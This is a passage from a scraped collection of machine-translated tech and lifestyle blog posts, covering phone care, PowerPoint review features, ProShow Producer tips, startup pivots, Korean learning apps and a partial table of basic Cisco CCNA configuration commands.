inverted and inclined by VLC Media Player"},{"body":"Frequent incidents with personal phones are unavoidable, the most common are bumps and water. Most high-end smartphones are now equipped with water-resistant technology but moisture is not certain, so to completely eliminate the risk many people often use other moisture absorption measures. One of the most popular and easy-to-carry ways for word-of-mouths is to put the machine into a rice barrel.\nHowever, this measure is not always effective, even in some cases it causes bad crying situations like the guy below.\nOn a large group discussing technology quite large in Vietnam recently appeared a post of a guy with content thanks to people \"intrigue\" help to escape a difficult situation. Specifically, this guy put his smartphone into a bucket of rice to absorb moisture after accidentally dropping it into the water. After taking it out, he was surprised to see a grain of stubborn rice that didn't know where it was stuck in the charging slot. Although he did everything, he still could not take out the grain.\n  Based on the image he uploaded, it is possible to guess that this is a Galaxy S6 or S7 Edge, so it is definitely water resistant under certain conditions. So, putting the phone in a rice bin for dehumidification is just the final safety measure.\nResponding to this guy's call for help, many useful tips were given by viewers such as tweezers, needles (small grains of rice) . Some people even joked that \" put the phone in a pot cooking, self-carving rice will soften into rice and take it out easier \".\nShould I put the phone in the rice bin to absorb moisture?\nPutting the phone into a bucket of rice to absorb moisture is one of the long-spread experiences. However, according to the experts' recommendations, users do not necessarily have to put the phone into a rice bin when the phone unfortunately falls into the water because it may contain unpredictable risks. In the rice bin containing a lot of tiny bits of rice scattered around, it was small enough to get into the many openings on the camera body that users could hardly detect. They may be stuck in the machine for many years, which can affect the quality of components such as speakers, contact plug ports .\nInstead of putting in a rice bin, you can try other methods such as a dedicated dehumidifier, put in a sealed container with a hygroscopic grain pack .\nIt's time you should cover the phone's front camera and this is the reason ncG1vNJzZmismaXArq3KnmWcp51kvbbAjLKmrqpdpbWwusRmoKdlkWKvtq%2FKnqtmp5Ziv6qvxGarqGWUmrW2ucidoJ%2BxXai8rrHOp5xmr5ikeqq%2FjKKlZpldoryzsYydmKeflae8tr%2BMrKCtrZGptrC6\n","link":"/post/put-your-phone-in-a-bucket-of-rice-to-dehumidify-someone-who-is-in-a-more-dangerous-situation/","section":"post","tags":null,"title":"Put your phone in a bucket of rice to dehumidify someone who is in a more dangerous situation"},{"body":"Before submitting a presentation, users can ask others to review the presentation and give feedback on the slides. The presentation creator can even work with a collaborator to create a presentation together. If you are modifying a hard copy, users can add comments to the margins or compare raw and final drafts side by side. Besides, users can do these in PowerPoint 2016 with the Comments and Compare features.\nHow to review the presentation Comment on the presentation How to add a comment See comments How to answer a comment Delete comment  Compare presentations How to compare two presentations  Comment on the presentation When modifying or collaborating on a presentation, users may want to make notes or suggestions without actually changing the slide. Leaving a comment allows the reader to note something without changing the slide. Comments can be added and read by the original author or any other reviewer.\nHow to add a comment 1. Select the text or object (or click on the area containing the slides) where the comment appears.\n  2. Go to the Review tab , then click the New Comment command .\n  \n3. The Comments window will appear. In this example it contains a comment created by the Javier reviewer, plus a blank for other people's comments.\n4. Enter a comment in the box, then press Enter or click anywhere outside the box to save the comment.\n  5. Comments will be represented by a small icon on the slide.\n  See comments Users can view or reply to any comment, including comments from other reviewers by returning to the Comments window . Just click on the comment icon on the slide or click the Show Comments command on the Review tab .\n  \nHow to edit a comment:\n1. In Comments, select the comment you want to edit.\n  2. Enter the desired changes, then press Enter or click anywhere outside the comment box. Changes will apply.\n  How to answer a comment 1. In the Comments, click Reply below the comment you want to respond to.\n  2. Enter feedback, then press Enter or click anywhere outside the box. Comments will appear below the initial comment and an additional icon will be added to the slide.\n  Delete comment To delete a comment, select the comment you want to delete, then go to the Review tab and click the Delete command .\n  \nTo delete multiple comments, click the drop-down arrow below the Delete command . Users can delete comments from the current slide or from the entire presentation.\n  Compare presentations There are situations where users have multiple versions of the same presentation. For example, users who can create multiple drafts or collaborators or colleagues can save their own unique copy.\nUsers can easily compare and combine multiple versions with PowerPoint's Compare feature. This allows users to see the difference between the two versions of the same presentation, from which the user can decide which changes will be included in the final version.\nHow to compare two presentations In this example, we will compare two versions of the Internet Safety for Everyone presentation.\n(Reference link: powerpoint2016_Vviewing_practice / Internet safety edited by Tim)\n1. Open a version of the presentation you want to compare. In this example, we will start with powerpoint2016_Vviewing_practice.\n2. From the Review tab , select the Compare command .\n  \n3. A dialog box will appear. Select the second version of the presentation you want to compare, then click Merge. In this example, we will select the Internet safety version edited by Tim.\n  4. The Revisions window will appear, allowing two presentations to be compared.\n  When satisfied with the changes in the review, click End Review. Only changes that the user accepts are applied to the final presentation.\nIf you use PowerPoint regularly, don't ignore these beautiful PowerPoint wallpapers.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqiimsCmutOaq6Knnqh6qrqMqaawnaKlvKq602ZpaWlm\n","link":"/post/review-presentations-in-powerpoint-2016/","section":"post","tags":null,"title":"Review presentations in PowerPoint 2016"},{"body":"Using images as a wallpaper for phones is becoming popular with us today. You can use selfies or wallpapers available on your phone. Also, using wallpapers with your favorite themes is also the best choice for you.\nIn some previous posts, Network Administrator has sent you a collection of wallpapers for your phone with many different topics such as cute cat wallpapers, cute pig wallpapers for phones and computers . In In this article, we would like to share with you a set of wallpapers dedicated to couples in love. Using a couple wallpaper is a way to express romantic feelings with \"that person\" and this is also a way for people around you to know that \"flower has a master\".\nWhen installing these two wallpapers on the same 2 phones, when you re-combine you will have a complete picture and quite catchy.\nIn the following article, we will send you some wallpapers taken from the reduced capacity collection for you to admire. If you love and want to download and use it with your lover, why not hesitate to download it at the link at the end of this article. Now take some time to admire these super lovely pictures.\nSynthesis of the best book wallpapers for computers 'Wind change' for smartphones with extremely vivid 3D wallpaper Download now a very vivid chibi wallpaper for your phone Phone wallpaper with many different themes                                                    To download more wallpapers, please visit the link below.\nncG1vNJzZmismaXArq3KnmWcp51kwLa8xKtkpaemmrm6edOwoKdlp5a5rbzAqZyrq12bvLN5z6Gmp52j\n","link":"/post/super-lovely-twin-wallpapers-for-phones/","section":"post","tags":null,"title":"Super lovely twin wallpapers for phones"},{"body":"ProShow Producer is a video making software that helps you combine personal images in a slideshow video with dynamic background music and unique transition effects. ProShow Producer is often used by wedding photo studios to make souvenir videos for clients, creating works of art to preserve memorable moments.\nHere are 10 tips for using the most effective ProShow Producer that I have collected. Hope it will help your work.\n1. How to rotate Video in ProShow Producer 2. Mute Video in ProShow Producer 3. How to fast forward a Video in ProShow Producer 4. How to cut and merge videos with ProShow Producer 5. How to cut music in ProShow Producer 6. How to insert 2 overlapping music files in ProShow Producer 7. How to insert logo into Video in ProShow Producer 8. How to insert Sub into Video with ProShow Producer 9. How to resize Video in ProShow Producer 10. How to export files in ProShow Producer 1. How to rotate Video in ProShow Producer For videos that are rotated, not right, or wrong, you need to rotate to work effectively. I will show you how to rotate Video with ProShow Producer.\nStep 1: First, you need to open ProShow Producer and drag the edited Video down the working Timeline bar.\n  Step 2: Then you double-click on the Video on the Timeline to open Slide Options .\n  Step 3: When the Slide Options window appears, choose Video in the Layers section to edit them.\n  Step 4: When the Layer Settings window appears, click the Rotation icon to rotate the Video in your desired direction.\nIn case you want to rotate the Video in a certain direction or automatically rotate the correct right angle, then hold down the Shift key while rotating.\n  Step 5: After rotating the Video, you continue to click on the round points in the corner to adjust the size of the Video to fit the best frame possible.\n  Step 6: After completing the above operations, you proceed to press the button (Space) on the keyboard to see if the video is suitable.\nIf the Video has been rotated in the right direction and the right size, please select OK to finish rotating the Video.\n  So you have completed rotating Video on ProShow Producer software.\n  2. Mute Video in ProShow Producer In this article, I will guide you how to mute Video in ProShow Producer.\nOption 1: Turn off directly on Video Timeline Step 1: First, you need to open ProShow Producer and drag the Video you want to mute to the working Timeline.\n  Step 2: Then right click on the Video and in turn choose Audio -\u0026gt; Remove Slide Sound .\nFor this method, your video will lose sound, only video image content remains.\n  Method 2: Mute Video in Layer Settings Step 1: First, you need to open ProShow Producer and drag the Video you want to mute to the working Timeline.\n  Step 2: After the Video is imported into the Timeline, you need to double click on Video to open the settings.\n  Step 3: When the Slide Option window is open, select Video in the Layer section to open the Video Layer's Settings.\n  Step 4: When Layer Settings is open, go to Video Clip Settings to set up. Here you need to set the Volume down to 0% (mute) and press OK to complete.\n  So you have finished muting Video on ProShow Producer software.\n3. How to fast forward a Video in ProShow Producer Normally, when you edit Video, you will have to interfere a lot with the speed of the Video. I will show you how to fast forward Video in ProShow Producer, please follow the steps below.\nStep 1: First, you need to open ProShow Producer and drag the edited Video down the working Timeline bar.\n  Step 2: Then you double-click on the Video on the Timeline to open Slide Options .\n  Step 3: When the Slide Options window appears, choose Video in the Layers section to edit them.\n  Step 4: Next you choose Layer Settings to set the effects for the currently selected layer.\n  Step 5: In the Layer Settings window , change the Speed ​​(speed) to fast forward / rewind Video. If the number% set as large, it means that the video will fast forward and vice versa.\nAfter adjusting the fast forward speed, you proceed to tick the Loop video until end of slide to automatically adjust the length of the Slide to match the length of the Video after rewinding.\nFinally, click OK to complete and save your edits.\n  At the main interface of ProShow Producer, you can review Video content after fast forwarding them. The video length will be shorter than the original video because they have been fast forwarded.\n  4. How to cut and merge videos with ProShow Producer One of the popular Video collage software is ProShow Producer and they are used by a lot of people because they have intuitive operations. TipsMake will guide you how to cut and merge videos with Proshow Producer.\n4.1. Cut Video in ProShow Producer Step 1: First, open ProShow Producer and drag the Video file to edit down Slide List to edit.\n  Step 2: After the Video file is imported into the system, then double-click the video file to edit.\n  Step 3: When the Slide Options window appears, select Layer Settings (1) and click Trim (2) to open the Video cutter tool.\n  Step 4: At this time, the Trim Video Clip window will appear, drag the first (1) and the last (2) milestones on the Timeline bar to select the video to cut.\n  In the process of cutting Video, you can drag the Zoom bar to enlarge the selection. When enlarging the selection, you will easily observe the content in the cut and some outstanding frames.\n  Step 5: After selecting the appropriate cutting area, you need to remember the parameters of the Trimmed to item and click OK to finish.\n  Step 6: After you finish cutting the Video, enter the parameters of Trimmed to (Step 5) into the timeline on the Slide.\nThe purpose of entering parameters Trimmed to into the time box is to finish the cut video, they will automatically move to the next video (if any).\n  4.2. How to join Video in ProShow Producer Merge Video in ProShow Producer is much simpler than cutting Video in software.\nTo merge Video in ProShow Producer, you just need to drag the Video file to merge into Slide 2 .\n  In case you need to merge many videos, you just need to drag the next Video files to the next slides.\n  5. How to cut music in ProShow Producer Trimming music is another frequently used operation during video editing. TipsMake will guide you how to cut music in Proshow Producer.\nStep 1: First you open ProShow Producer and proceed to drag music files down the Soundtrack bar to work.\n  Step 2: After the music file has been imported to the Soundtrack bar, the Soundtrack section will display the music waves as shown below.\n  Step 3: Now you need to switch to Time Line to proceed to work with the music files we need to process.\n  Step 4: In Timeline mode, move the mouse pointer to the bottom of the music file to find the Adjust audio end time point . Now you just need to hold on the End time and drag them to cut the music.\n  Step 5: Continue to do with Adjust Audio Start Time point to cut music at the beginning.\n  Note: In case the music file is too long and you can not find the Adjust Audio Start Time / Adjust Audio End Time point , please click the (-) or drag the Zoom bar to minimize the sound bar. This way you will see the entire music file, including the starting and ending points.\n  Step 6: After cutting the music, you will see the music file is located in the middle of the working Timeline and they are being timed out compared to the original. What you need to do is click on the music file and hold Ctrl to show the Drag tool, then you proceed to drag the music file back to the correct starting time .\n  Step 7: So we have finished cutting music on ProShow Producer software, for other music files you also do the same.\n  6. How to insert 2 overlapping music files in ProShow Producer To work with ProShow Producer, users have to get familiar with Timeline and this is also the main interface to work with. I will show you how to insert 2 overlapping music files in ProShow Producer.\nStep 1: First you open ProShow Producer and proceed to add image content, video into Slide List.\n  Step 2: After adding images and videos to Slide List , you proceed to drag the music file down to the Soundtracks section .\n  Step 3: On ProShow Producer there is only a part of Soundtracks, so we can only insert one song, to insert the next song you must choose Timeline .\n  Step 4: In Timeline mode, you proceed to drag the 2nd music file to insert down the Slide bar.\n  Step 4: So we have inserted 2 overlapping tracks, our rest is to align them so that they match.\n  Step 5: Before aligning the music, you press Play (Space) to listen to see what the music will overlap.\n  Step 6: To move the position of the songs you need to click on the music file and press the Ctrl button , then you drag the music file so that they override the correct paragraph you want.\n  Step 7: Do the same with the music files below to make the sound as standard and as good as possible.\nSo you have finished inserting 2 overlapping music files in ProShow Producer.\n  7. How to insert logo into Video in ProShow Producer Currently there are many tools to support inserting Logo into Video, but ProShow Producer is always the perfect choice thanks to its simplicity and ease of use.\nStep 1: First, you need to open ProShow Producer and add Video to Slide List to process the content. Next you choose Show -\u0026gt; Watermark (Ctrl + Shift + Alt + W) to proceed to add the Logo file in the Video.\n  Step 2: When the Show Options window appears, select Watermark and click Browse to open the watermark file.\n  Step 3: Next, select the Logo file and click Open to open.\nNote: To enhance the aesthetics, you should use the Logo file without background (.PNG format).\u0026nbsp;\nStep 4: After selecting the Logo file, the system will automatically process and add the Video for you.\nStep 5: In the process of editing the contents of the Logo, you can click the corners to enlarge / reduce the Logo to suit the Video.\nStep 6: To move the Logo, you just need to press and hold on them and drag.\nStep 7: After adjusting the basic content, you can adjust the color parameters in the Adjustments section . In this section, you only need to care about Opacity - light weight of the Logo.\nStep 8: After editing is complete, click OK to save the Logo file content. Now you will see the Logo inside the Video we are working on.\n8. How to insert Sub into Video with ProShow Producer Inserting Sub into Video, most Video editing software support it because this is a very basic feature and all software must have. However, many people work with ProShow Producer so they want to use this software to insert Sub instead of having to download other specialized software. TipsMake will guide you how to insert Sub into Video with Proshow Producer.\nStep 1: First, you need to open ProShow Producer and add images / videos you want to insert Sub into Slide List to work.\n  Step 2: Then right-click the Slide to insert Sub and select Slide Options .\n  Step 3: When the Slide Options window appears, choose Add at Captions to add text content.\n  Step 4: At this time, the interface will switch to inserting text, on the right hand, you will have Caption Text window (1) to write text, Sub content and Caption Format window (2) to format text.\nIn the Caption Format window, you have the following important contents:\nStyle: Typography Font: Font of Sub Case: Text border Size: Font size Color: Text color B / I / T Macro, symbols: Bold, italic, capitalization and special characters   Step 5: Next, you need to switch to Caption Placement to format the text content. Here you will have features such as: Vertical alignment, horizontal alignment, Opacity (light bold), Rotate (rotate text), .\nPlease choose the formats to suit your Sub content.\n  Step 6: After formatting is complete, choose Filters to add effects to Sub content.\n  Step 7: In the Filter section, you have the following important contents:\nFly in: Text effect when appearing Nornal: Text effect when displaying Flyout: Text effect when finished If you have downloaded text effects online, select Browse to open them.\n  Step 8: Finally, you select the Effects section to edit text effects, here you need the following important things:\nText effects when appearing: Adjust the time for text when appearing Ending text effects: Adjust the time for text when finished Caption Motion \u0026amp; Adjustment: Some advanced text formats.   After completing, you click OK to return to the working interface of ProShow Producer, here you click Play to see the Sub we just added.\n  9. How to resize Video in ProShow Producer When working with Video content, we cannot avoid the size deviation due to different Video sources. To solve the problem of size deviation, perhaps there is only way to enlarge / reduce the Video to fit a common size on the screen.\nProShow Producer tool is chosen by many people to edit Videos and that includes Video resizing. I will guide you how to resize Video in ProShow Producer.\nStep 1: First, you need to open ProShow Producer and drag files / images / videos down Slide List to work.\n  Step 2: After the file is imported into the software, double-click the Slide to adjust the size.\n  Step 3: When the Slide Options window appears, choose Layer Settings to adjust the Slide-related parameters.\n  Step 4: At the interface of Layer Settings, we will have 04 ways to adjust the video's size. The ways to adjust the size of the Video in turn are as follows:\nMethod 1: Adjust the size with the parameter ruler To adjust the video size with the parameter ruler, you need to adjust the Zoom ruler in the Layer Setup section. In addition to dragging the ruler, you can also enter the% you want to enlarge / reduce right in the next box.\n  Method 2: Intuitive size adjustment In some cases you need flexible and precise adjustments, you should adjust through icons on the corners of the Video. You just need to click and hold on the 'circle' at the corners and drag them.\n  Method 3: Adjust the size by roller To adjust the size of Videos quickly, you can use the scroll wheel to enlarge / reduce them.\nOperation: You just need to scroll up or down to zoom in / out Video.\n  Method 4: Adjust size visually In addition to the above methods, you can also choose the pre-equipped zoom in / out modes for the most accurate content.\nIn the Sacling section , you have the following parameters:\nFit to frame: Automatically adjusts to fit the frame (both horizontally, vertically) Fill frame: Automatically fills the frame (applies to the missing dimension) Stretch to frame: Stretch to fill the frame Fit to safe zone: Automatically adjusts to fit the working area Fill safe zone: Automatically fills in the working area   10. How to export files in ProShow Producer After editing videos, you will need to export the files to use them and save them. TipsMake will guide you how to export files in ProShow Producer quickly and effectively.\nStep 1: At the main interface of ProShow Producer, you proceed to select Publish to export the file.\n  Step 2: At the main interface of the Publish section , you will have many different file export modes such as DVD, USB, MP4, Youtube, Facebook, Vimeo, .\n  However TipsMake encourages you to only export the file in MP4 format because this is the most basic format of Video and can be used in all different cases.\n  Step 3: After selecting the export mode, an Export window will appear and you need to pay attention to the following information:\n1. Video Quality: We export the file in MP4 format so you can choose the quality of Video. ProShow Producer software supports maximum image output under Full HD quality.\n2. Options: In the Options window you can set Fps (the number of frames), the higher the number of frames, the higher quality and heavier the video is. Additionally, we will have Intel Quick Sync Video, which is a feature that uses iGPU in Intel CPUs to export files faster.\n3. Create: After the setup is complete, you choose Create to export the file.\n  Step 4: Next, you need to name the video and choose a storage folder for the file on your computer.\n  Step 5: The system will automatically export the file for you, in the Video Rendering window you can monitor the information as follows:\nRendering Speed: Export speed Using: The number of CPU cores used to output the file Time Elapsed: Time to run the file export Time Remaining: Time to export the remaining file (expected)   ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZqyZpcBuss6rZK6rmaO0brzRqKqhp6divbO7w66anqo%3D\n","link":"/post/top-10-tips-for-using-proshow-producer/","section":"post","tags":null,"title":"Top 10 tips for using ProShow Producer"},{"body":"On June 1, Adsota released the report \"Vietnam digital advertising market 2021: A strategy to catch up and break through\". Accordingly, Zalo is currently the most popular messaging application in Vietnam. Previously this position belonged to Facebook Messenger.\nIn 2018, the percentage of Facebook Messenger users accounted for 79% of all Internet users aged 16-64. By 2019, this number dropped to 74%, equal to the Zalo application.\nIn 2020, Zalo's user rate will reach 76.5%, higher than Facebook Messenger with 75.8%. With this rate, Zalo has officially usurped Facebook Messenger, becoming the messaging application with the highest user rate in Vietnam.\n  According to Adsota's assessment, even though it was launched after big companies like Facebook Messenger, Skype or Whatsapp, with constantly improving and updating new features and expanding features, Zalo still shows rapid growth. mine. Most likely, Zalo will be upgraded to become a social network in the future and directly confront Facebook in the Vietnamese market.\nThis report also revealed that, in 2019, each Vietnamese person spends an average of 6.5 hours/day accessing the Internet. When Covid-19 took place, this number increased to nearly 7 hours a day. In particular, livestream with the ability to transform content and high interactivity has emerged as a popular entertainment method. In just over half a month since the social distancing order was issued, all livestream metrics on Facebook Gaming jumped with a total of 119.7 million views, an increase of 81.37%.\nzalo Facebook Messenger ncG1vNJzZmismaXArq3KnmWcp51kx6K4zmaqrqqglsC0sdJmnZqblZe8sLeMppysq5WjtKa%2BjJucnKednruoedOhnGaln6jBbrLAr6aroaSaeq6x0qyYoKGenHqivM%2BloJyZpJ68r3nIp2SvoZWpu6K5\n","link":"/post/zalo-surpasses-facebook-messenger-becoming-the-most-favorite-messaging-application-in-vietnam/","section":"post","tags":null,"title":"Zalo surpasses Facebook Messenger, becoming the most favorite messaging application in Vietnam"},{"body":"Pivot is a familiar term in the startup world, which can be roughly translated as \" strategic navigation \". When your first business model is not effective, the CEO and the start-up team can decide to redirect, using the successes and failures gained from the previous model to build and develop the new model. By Eric Ries definition - the pivot is a structured and process fix that is designed to test new customer assumptions, strategies, and growth . This is the period when most startups go through the journey to find the right customers, declare their value and position.\nStructures course correction designed to test a new hypothesis about about the product, strategy and engine of growth - Eric Ries.\nPivot is an important stage, requiring careful thinking. You will find your heart stopping, extremely worried and afraid to lose everything. But successful navigation will bring great things hard to describe. Here are 12 steps to slowly redirect and step in (as well as go firmly) in the pivot period that Neil Patel - co-founder of Crazy Egg, Hello Bar and KISSmetrics - suggestions for satrtup.\n  Step 1 - Identify an ineffective initial plan This is when the pivot idea first appears in your mind when you realize that growth, potential, viability and development of startups are in danger . It should be noted that this is different from the fatigue or exhaustion associated with humans, which is a work-related issue (although these two issues are quite closely related).\nStep 2 - Give a list of causes If there is something wrong, there is always a satisfactory explanation. Why can't your plan work? There may be many reasons, so write us. Setting up the \"why\" question is often useful to point out the real cause of the fact not the plan you set.\nStep 3 - Review goals and long-term vision Review the plans and goals you have given when starting your business. What is your goal? Who are the customers you are targeting? What is the growth plan?\n  Step 4 - Can renew the goal and vision if needed The above plans are not \"inviolable\".Pivot is a radical move and you will probably need to eliminate all the old goals to create new success for your business. Take the time to review them or simply cut them all off and start over.\nStep 5 - Give a list of ideas to achieve the goal This is a shaping place for the pivot period . You have realized that something is wrong, you know what it is and why. You also have a clear vision of your destination, it's time to find the way to it. Write down every idea that can get you to your destination, make sure to write down all the ideas because you haven't created a business plan yet just outline the idea.\nStep 6 - Develop a specific and clear plan Now is the time to prepare a detailed plan. Even a completely new business plan is not a bad idea. Keep in mind, however, that this may be just one of the pivot times, remember what Eric Ries said, that pivot is not a plan but just a test . You cannot succeed simply by choosing an idea and doing it that will have to test many ideas and choose the best idea.\n  Step 7 - Identify numbers or signs that measure the success of the new plan You can use KPIs to measure success because what you need to know is whether the new plan is effective or not. Looking at numbers is the only way to know if there is a need to pivot again.\nStep 8 - Completely forget the old plan Now is the time to leave the past behind and completely forget the old plan. The sooner you stop complaining and start working, the faster you will bring startup to the post-pivot stage successfully.\nStep 9 - Present the new plan to the startup team From the beginning of the article, pivot is still described as an independent of the individual. Now assume the pivot decision needs to be made with the approval of many people like mentors, co-founders . Another element of pivot success is to keep information across between leaders and the whole team . When the ship turns, you don't want everyone to jump out. Tell them the direction and purpose you want to change.\n  Step 10 - Shake hands and focus on new plans Bring a new source of energy, inspiration and creativity to your new plan. You start to move to another page and from now on, the business has moved to another stage, so focus all the energy on this new plan.\nStep 11 - See the statistics During the pivot implementation process, don't forget to see the figures. Stay up to date on the relevant numbers, trends, benchmark points (*) to get the goals set out in steps 6 and 7.\nStep 12 - Continue to remove and repeat Pivot is rarely a single event. You will realize that you have to make the pivot many times to succeed. So don't be shy and keep pivot.\n  Conclude\nPivot isn't easy and that's why many startups fail. If many pivot startup startups, there may be more startups. Pivot is a secret to survive. Learning how to pivot will help you save your startup from failure and keep growing for a long time.\nSee also: 18 mistake-killing start-ups from founder Y Combinator\n(*) Benchmarking is a term used in business operations, to compare activities between different organizations but in the same field or between departments within an organization. After pivot, you should compare the situation before and after to know the effect.\nncG1vNJzZmismaXArq3KnmWcp51kfnN50q2cqatdqbxuvMivpq1lo6mus8DUqQ%3D%3D\n","link":"/post/12-steps-to-pivot-startup/","section":"post","tags":null,"title":"12 steps to pivot startup"},{"body":"The thermos bottle is extremely convenient because of its compact design that keeps heat for drinks effectively. The thermos bottle when purchased has an unpleasant smell of stainless steel because it has not been used. Here are some quick and easy ways to remove the bad smell of the thermos bottle.\nFirst, use clean water to wash the thermos bottle once. Then rinse the second time with warm water and then use the following mixes to remove the bad smell of the new bottle.\n  1. Use baking soda + water   Add 1 or 2 teaspoons of baking soda to the thermos flask, then add warm water, cover and leave for about 30 minutes.\nAfter soaking, rinse the thermos bottle with warm water. If you still have an unpleasant smell, add baking soda and salt to the bottle again.\nFinally, clean the bottle with clean water and use it normally!\n2. Use baking soda mixture + vinegar / lemon   You add 1 - 2 tablespoons of baking soda to the thermos flask, then add one cup of vinegar or half a cup of lemon juice.\nVinegar or lemon will work with baking soda to make the mixture foam, so users need to cover the lid to keep the heat very tight so that the mixture does not spill out.\nAfter soaking, rinse the thermos bottle with warm water. If you still have an unpleasant smell, add baking soda and vinegar / lemon to rinse the bottle again. Finally, wash the jar with clean water.\n3. Remove bad smell with coffee and water residue mixture   You put about 3-4 teaspoons of coffee grounds in a thermos bottle, then put cold water in the jar, cover the lid and wait about 30 minutes. Coffee grounds will smell the unpleasant odor of the thermos bottle and leave the pleasant aroma of coffee.\nAfter finishing soaking, pour out the mixture and rinse the flask with warm water. Coffee grounds have a better ability to deodorize odors than lemon and baking soda, so it is often not necessary to rinse the thermos with this mixture again, unless the jar smells too heavy.\n4. Remove the bad smell with old newspaper   You use a little old newspaper, crumple them and then put them into the heat preservation bottle to deodorize, cover tightly and leave for 2-3 days. The newspaper has the effect of absorbing all the unpleasant odors of newly purchased heat preservation bottles.\nHowever, this method takes a bit of time, but if you don't use a thermostat, this is a fairly simple measure. Then remove the newspaper and rinse the thermostat bottle with warm water.\nIf not used urgently, the user should soak the deodorant mixture overnight and fill it with the bleach mixture, wash it in the bottle, cover it tightly so that the odor is thoroughly eliminated.\nHopefully with the above methods, you will deodorize the thermos bottle effectively and quickly.\nThank you for following the article\nncG1vNJzZmismaXArq3KnmWcp51kgW6z0Z6YrWWUmrylu9Gapa1lpKR6s7HMqK2eZZiarrV5xaipZqaVrHqju9Oto56r\n","link":"/post/4-great-deodorant-to-remove-heat-for-new-bottles/","section":"post","tags":null,"title":"4 great deodorant to remove heat for new bottles"},{"body":"Korean is now one of the most popular languages ​​in our country, besides English, Chinese, etc. Therefore, applications for learning Korean or language learning software are something that many people study, or teach. teach Korean interest. With the language learning app on the phone, learners can learn anytime, anywhere, convenient to exchange with friends and teachers. The following article of Network Administrator will introduce you to reading Korean learning apps on Android and iPhone.\nHow to install Korean keyboard for iPhone How to install Korean keyboard for Windows Instructions for installing Japanese keyboard for Windows Summary of Korean learning applications 1. Duolingo application\nDownload the Android Duolingo app Download the iPhone Duolingo app Duolingo has long been a well-known language learning app and has chosen to study and research. Coming to Duolingo, you will be able to choose many languages ​​to learn and practice, such as English, Chinese, French, Japanese and Korean.\n  Users will be selected from basic to advanced courses. Lessons are divided into different topics, content, creating interesting for learners. We will practice listening, speaking, reading, writing and grammar skills through exercises. The Duolingo interface used is simple and easy to understand.\n  2. Learn Korean: Language Course\nDownload Learn Korean: Language Course iPhone The Korean lessons in the application will also start from the basic lessons and then advance to the advanced level, so that the learner can grasp the basic knowledge. With the listening and speaking part, native speakers will be used for learners to learn the correct pronunciation of Korean. So only when the learner correctly pronounces the Korean phrases in the new lesson will score points.\n   Vocabulary lessons will be attached to everyday situations, accompanied by illustrations. Each lesson will have the number of points you gain, along with a scale for each week so that learners can see their learning process.\n   3. ViKoDict application\nDownload the ViKoDict iPhone app This is an application produced and designed by Vietnamese people, combining dictionary, grammar, specialized and parallel Korean - Vietnamese languages. There are more than 85,000 words for you to look up and study. Each word will have a humorous detail so that the learner can remember the word clearly. Words will follow different subjects such as travel, shopping, learning, . or local language words with illustrative examples, dialogues with pronunciation. So you will not make mistakes when speaking local words.\nSpecial application to support voice input. And the user who needs the correct pronunciation can display the content.\n    4. Application of 6000 Words\nDownload the 6000 Words Android app More than 6,000 Korean vocabulary for practice and memorization is the main content of 6000 Words application. Words will be divided into different topics, such as sports, environment, nature, weather, etc. Each word will have accompanying illustrations to make it easier for learners to visualize.\n    Lessons learned skills in pronunciation and listening in the application will be designed in accordance with native language standards, avoiding false pronunciation. Especially the Korean vocabulary test will look at word guessing pictures, word matching games, or more difficult levels by writing the right words.\n    5. Application Learn Japanese, Korean, Chinese\nDownload Learn Japanese, Korean, Chinese Android Download Learn Japanese, Korean, Chinese iPhone This is an application to learn Korean, Japanese, Chinese and some other languages. The lessons are designed by a team of specialized language teachers, helping learners practice listening, speaking, reading and writing skills. There will be more than 2,000 words and phrases used at different levels, with 60 categories and 150 different lessons.\n   At the beginning of the application will introduce the Korean alphabet clearly to build a more advanced Korean learning platform later. Lessons are also vividly illustrated, detailed notes to explain the use and operation of words in sentences. Listed songs will be pronounced by native speakers so you can understand them correctly.\n   6. Application Learn Korean Phrases\nDownload the Learn Korean Phrases Android Download the Learn Korean Phrases iPhone The application will focus on learning Korean words, phrases, pronunciation and listening. The application brings useful Korean phrases for everyday life. When a user clicks on any phrase there will be a saying. The speaking speed will be adjusted quickly or slowly with the adjustment icon.\n   In particular, the application is extremely useful when traveling in Korea because it can be used to pronounce certain words, if native speakers do not hear what you say directly.\n   Above are some Korean learning apps for Android and iPhone. Each application will fully train foreign language learning skills, basic word exercises and gradual improvement. Especially the pronunciation will be made by native speakers so the learners will know the correct pronunciation.\nSee more:\nTop 15 leading English learning apps on Android and iOS Chinese translation applications on quality phones The best software for learning English on computers Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51krrG8y6KamqyZpLu0edOoZKWdkae7brfOq5yapl2ku27Ax55kqaCfo7I%3D\n","link":"/post/applications-to-learn-korean-on-the-phone/","section":"post","tags":null,"title":"Applications to learn Korean on the phone"},{"body":"The article will try to synthesize CCNA commands in both ICND parts 1 and 2 as well as the current CCNA exam (640-802). Although it is not possible to list the full IOS command list, it includes most of the commands that will appear on the CCNA exam. Older CISCO order lists may contain additional commands, such as IPX, that no longer appear on the CCNA exam.\nIf you follow TipsMake.com's Cisco Lab articles, you will see them in English, so the following command table will \"play\" bilingual, \"half lean half fat\" so that you can understand it. strange when using all Vietnamese.\nPopular CCNA commands Cisco commands access to modes Common shortcuts CISCO switch configuration command Cisco router configuration command Privilege Commands, show commands on the Router Copy command on Cisco router Debug commands on Cisco routers Cisco commands access to modes Describe\nOrder\nUser mode (user mode)\nSwitch\u0026gt;\nEnter Privilege mode (enter privileged mode)\nSwitch\u0026gt; enable\nPrivileged mode (privileged mode)\nSwitch #\nEnter configuration mode (enter configuration mode)\nSwitch # configure terminal\nGlobal Config mode\nSwitch (config) #\nEnter Interface mode\nSwitch (config) #interface fa0 / 1\nInterface mode\nSwitch (config-if)\nReturn to global configuration (Return to Global Config)\nSwitch (config-if) exit\nExit Global Config mode (Exit Global Config)\nSwitch (config) #exit\nReturn to user mode (Return to user mode)\nSwitch # disable\nLogout (Logout)\nSwitch\u0026gt; exit\nCommon shortcuts Describe\nShortcuts\nRecall Previous command (Call Previous command)\nUp arrow or p\nRecall Next command (Call the Next command)\nDown arrow or n\nStart the command\na\nEnd the command\ne\nDelete the input\nd\nExit Configuration Mode\nz\nRefresh output on the screen\nR\nComplete the order\nTAB\nCISCO switch configuration command Describe\nOrder\nConfigure device system name (Configure device name)\nSwitch (config) #hostname sw1\nSets the encrypted enable password (Set up an encryption password)\nSwitch (config) #enable secret cisco\nSets the unencrypted enable password (Set unencrypted password)\nSwitch 